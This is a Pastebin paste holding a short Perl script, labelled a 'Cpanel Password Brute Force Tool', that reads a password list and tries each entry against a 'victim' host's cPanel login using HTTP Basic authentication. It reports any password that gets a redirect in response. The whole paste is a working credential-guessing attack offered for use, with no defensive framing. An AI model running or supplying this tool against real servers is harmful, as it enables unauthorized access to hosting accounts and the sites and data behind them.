Advertisement
Guest User

Untitled

a guest
Sep 2nd, 2015
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.88 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use IO::Socket;
  4. use LWP::Simple;
  5. use MIME::Base64;
  6.  
  7. $host = $ARGV[0];
  8. $user = $ARGV[1];
  9. $port = $ARGV[2];
  10. $list = $ARGV[3];
  11. $file = $ARGV[4];
  12. $url = "http://".$host.":".$port;
  13. if(@ARGV < 3){
  14. print q(
  15. ##################################
  16. # Cpanel Password Brute Force Tool #
  17. ##########################
  18. # usage : cpanel.pl [HOST] [User] [PORT]
  19. [list] [File] #
  20. #-------------------------------------------------------------#
  21. # [Host] : victim Host (simorgh-ev.com) #
  22. # [User] : User Name (demo) #
  23. # [PORT] : Port of Cpanel (2082) #
  24. #
  25. [list] : File Of password list (list.txt) #
  26. # [File] : file for save password (password.txt) #
  27. # ###################################
  28. # (c)oded By Hessam-x / simorgh-ev.com ############################
  29. );exit;}
  30.  
  31. headx();
  32.  
  33. $numstart = "-1";
  34.  
  35. sub headx() {
  36. print q(
  37. ################
  38. # Cpanel Password Brute Force Tool #
  39. # (c)oded By Hessam-x / simorgh-ev.com #
  40. #############################
  41. );
  42. open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !";
  43. @PASSWORDS = <PASSFILE>;
  44. close PASSFILE;
  45. foreach my $P (@PASSWORDS) {
  46. chomp $P;
  47. $passwd = $P;
  48. print "
  49. [~] Try Password : $passwd
  50. ";
  51. &brut;
  52. };
  53. }
  54. sub brut() {
  55. $authx = encode_base64($user.":".$passwd);
  56. print $authx;
  57. my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "
  58. [-] Can not connect to the host";
  59. print $sock "GET / HTTP/1.1
  60. ";
  61. print $sock "Authorization: Basic $authx
  62. ";
  63. print $sock "Connection: Close
  64.  
  65. ";
  66. read $sock, $answer, 128;
  67. close($sock);
  68.  
  69. if ($answer =~ /Moved/) {
  70. print "
  71. [~] PASSWORD FOUND : $passwd
  72. ";
  73. exit();
  74. }
  75. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement